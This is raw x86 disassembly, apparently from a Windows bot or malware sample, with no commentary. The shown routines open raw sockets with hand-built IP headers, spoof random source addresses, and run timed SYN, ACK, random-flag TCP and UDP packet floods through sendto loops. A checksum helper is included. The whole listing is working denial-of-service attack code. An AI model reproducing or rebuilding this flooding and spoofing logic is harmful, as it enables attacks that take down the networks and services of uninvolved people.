		mov	[ebp+var_1E], ax
		call	dword_4CB9D4	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_41C2C2
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4CBA38	; sendto
		jmp	loc_4148C1
; ---------------------------------------------------------------------------


loc_4149A7:				; CODE XREF: sub_4147A6+12Cj
		push	[ebp+var_8]
		call	sub_41BA91
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CBA6C	; closesocket
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4147A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149C1	proc near		; DATA XREF: sub_401ACD+5306o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_4270B0
		call	edi	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA54	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_414A8A
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437C24
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414A6A
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409869
		add	esp, 14h


loc_414A6A:				; CODE XREF: sub_4149C1+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415D38
		push	[ebp+var_BC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_414A8A:				; CODE XREF: sub_4149C1+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4CB9B4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414B08
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437BEC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414AE8
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409869
		add	esp, 14h


loc_414AE8:				; CODE XREF: sub_4149C1+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415D38
		push	[ebp+var_BC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_414B08:				; CODE XREF: sub_4149C1+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CBA14	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414B78
		lea	eax, [ebp+var_440]
		push	offset unk_437BCC
		push	eax
		call	sub_41C266
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_414B58
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409869
		add	esp, 14h


loc_414B58:				; CODE XREF: sub_4149C1+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415D38
		push	[ebp+var_BC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_414B78:				; CODE XREF: sub_4149C1+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4CB9D4	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_414BB0:				; CODE XREF: sub_4149C1+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_414E74
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4CB9D4	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_414C23
		call	sub_41C2C2
		mov	esi, eax
		shl	esi, 8
		call	sub_41C2C2
		add	esi, eax
		shl	esi, 8
		call	sub_41C2C2
		add	esi, eax
		shl	esi, 8
		call	sub_41C2C2
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_414C39
; ---------------------------------------------------------------------------


loc_414C23:				; CODE XREF: sub_4149C1+233j
		push	[ebp+var_240]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	[ebp+var_20], eax


loc_414C39:				; CODE XREF: sub_4149C1+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_414C57
		call	sub_41C2C2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_414C5D
; ---------------------------------------------------------------------------


loc_414C57:				; CODE XREF: sub_4149C1+284j
		push	[ebp+var_B8]


loc_414C5D:				; CODE XREF: sub_4149C1+294j
		call	dword_4CB9D4	; htons
		mov	[ebp+var_16], ax
		call	sub_41C2C2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9D4	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4CB9D0	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414CAD
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_414D09
; ---------------------------------------------------------------------------


loc_414CAD:				; CODE XREF: sub_4149C1+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414CCD
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_414D09
; ---------------------------------------------------------------------------


loc_414CCD:				; CODE XREF: sub_4149C1+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D09
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_414D09:				; CODE XREF: sub_4149C1+2EAj
					; sub_4149C1+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4CB9D4	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4CB9D4	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA38	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414DF6
		inc	[ebp+arg_0]
		jmp	loc_414BB0
; ---------------------------------------------------------------------------


loc_414DF6:				; CODE XREF: sub_4149C1+42Bj
		push	[ebp+var_4]
		call	dword_4CBA6C	; closesocket
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_437B7C
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414E54
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409869
		add	esp, 14h


loc_414E54:				; CODE XREF: sub_4149C1+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415D38
		push	[ebp+var_BC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_414E74:				; CODE XREF: sub_4149C1+203j
		push	[ebp+var_4]
		call	dword_4CBA6C	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437B2C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414EE5
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409869
		add	esp, 14h


loc_414EE5:				; CODE XREF: sub_4149C1+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415D38
		push	[ebp+var_BC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
sub_4149C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F05	proc near		; CODE XREF: sub_41500F+19Ap
					; sub_41500F+1A9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: sub_414F05+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: sub_414F05+12j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_414F3E:				; CODE XREF: sub_414F05:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_414F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F57	proc near		; DATA XREF: sub_401ACD+6C68o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41C159
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CBA14	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_41500F
		add	esp, 19Ch
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_437C58
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414FF2
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409869
		add	esp, 14h


loc_414FF2:				; CODE XREF: sub_414F57+79j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
sub_414F57	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41500F	proc near		; CODE XREF: sub_414F57+54p

var_CC		= byte ptr -0CCh
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= word ptr -0A2h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, dword_4270B0
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_10], eax
		call	dword_4CBA54	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		mov	edi, 578h
		push	edi
		push	9
		push	1
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	esi, 5A0h


loc_415069:				; CODE XREF: sub_41500F+235j
		call	dword_4270B0	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_415249
		cmp	dword_4CF180, ebx
		jnz	short loc_4150E8
		push	10h
		pop	eax
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_68]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978	; getsockname
		push	0FFh
		push	1
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_62]
		push	eax
		movzx	eax, [ebp+var_63]
		push	eax
		movzx	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_CC]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_41C266
		add	esp, 18h
		jmp	short loc_4150FB
; ---------------------------------------------------------------------------


loc_4150E8:				; CODE XREF: sub_41500F+7Ej
		lea	eax, [ebp+var_CC]
		push	offset dword_4CEB60
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_4150FB:				; CODE XREF: sub_41500F+D7j
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_58]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_54], 10h
		mov	[ebp+var_58], eax
		call	dword_4CB9D4	; htons
		mov	[ebp+var_52], ax
		call	sub_41C2C2
		mov	[ebp+var_50], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4E], 40h
		mov	[ebp+var_4C], 40h
		mov	[ebp+var_4B], 6
		mov	[ebp+var_4A], bx
		mov	[ebp+var_44], eax
		call	sub_41C2C2
		mov	[ebp+var_40], ax
		call	sub_41C2C2
		mov	[ebp+var_3E], ax
		call	sub_41C2C2
		mov	[ebp+var_3C], eax
		call	sub_41C2C2
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_34]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp+var_34+2], 18h
		mov	word ptr [ebp+var_34], ax
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_76], ax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_74], eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_30], 787Dh
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_78], 2
		call	sub_414F05
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		call	sub_414F05
		mov	eax, [ebp+var_48]
		add	esp, 10h
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], bl
		mov	[ebp+var_A3], 6
		call	dword_4271F4	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A0]
		push	14h
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_AC]
		push	598h
		push	eax
		call	sub_414F05
		add	esp, 20h
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4CBA38	; sendto
		inc	[ebp+var_4]
		jmp	loc_415069
; ---------------------------------------------------------------------------


loc_415249:				; CODE XREF: sub_41500F+72j
		push	[ebp+var_8]
		call	dword_4CBA6C	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41500F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41525A	proc near		; DATA XREF: sub_401ACD+4B97o

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_4152D1
		add	esp, 214h
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_437C8C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		add	esp, 14h
		push	0
		call	dword_4270D4	; ExitThread
sub_41525A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152D1	proc near		; CODE XREF: sub_41525A+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4CBA54	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_41530F
		lea	eax, [ebp+var_254]
		push	offset unk_437E7C
		push	eax
		call	sub_41C266
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_4155D8
; ---------------------------------------------------------------------------


loc_41530F:				; CODE XREF: sub_4152D1+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4CB9B4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41533B
		call	dword_4CB968	; WSAGetLastError
		push	eax
		push	offset unk_437E2C
		jmp	short loc_415356
; ---------------------------------------------------------------------------


loc_41533B:				; CODE XREF: sub_4152D1+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4CBA14	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41536A
		call	dword_4CB968	; WSAGetLastError
		push	eax
		push	offset unk_437DE8


loc_415356:				; CODE XREF: sub_4152D1+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4155D8
; ---------------------------------------------------------------------------


loc_41536A:				; CODE XREF: sub_4152D1+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4CB9D4	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4271F0	; inet_addr
		mov	esi, dword_4270B0
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_437DBC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4153D3
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_4153D3:				; CODE XREF: sub_4152D1+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41C159
		cmp	esi, eax
		pop	ecx
		ja	loc_41558E
		mov	esi, 41Ch
		jmp	short loc_415407
; ---------------------------------------------------------------------------


loc_415402:				; CODE XREF: sub_4152D1+2B7j
		mov	ebx, 0FFh


loc_415407:				; CODE XREF: sub_4152D1+12Fj
		cmp	dword_4CF180, edi
		jnz	short loc_415461
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978	; getsockname
		push	ebx
		push	1
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_41C266
		add	esp, 18h
		jmp	short loc_415471
; ---------------------------------------------------------------------------


loc_415461:				; CODE XREF: sub_4152D1+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4CEB60
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_415471:				; CODE XREF: sub_4152D1+18Ej
		push	esi
		mov	byte_4CED60, 45h
		call	dword_4CB9D4	; htons
		mov	word_4CED62, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4CED64, 1
		mov	word_4CED66, di
		mov	byte_4CED68, 80h
		mov	byte_4CED69, 11h
		mov	word_4CED6A, di
		call	dword_4CBA14	; inet_addr
		mov	dword_4CED6C, eax
		mov	eax, [ebp+var_20]
		mov	dword_4CED70, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_4CED7A, di
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jnz	short loc_4154E9
		call	sub_41C2C2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_4154F7
; ---------------------------------------------------------------------------


loc_4154E9:				; CODE XREF: sub_4152D1+206j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_41C159
		pop	ecx
		push	eax


loc_4154F7:				; CODE XREF: sub_4152D1+216j
		call	dword_4CB9D4	; htons
		mov	word_4CED76, ax
		call	sub_41C2C2
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4CED74, dx
		call	dword_4CB9D4	; htons
		push	400h
		mov	word_4CED78, ax
		call	sub_41C2C2
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4CED7C
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4CED60
		push	[ebp+var_C]
		call	dword_4CBA38	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_415607
		inc	[ebp+var_4]
		call	dword_4270B0	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
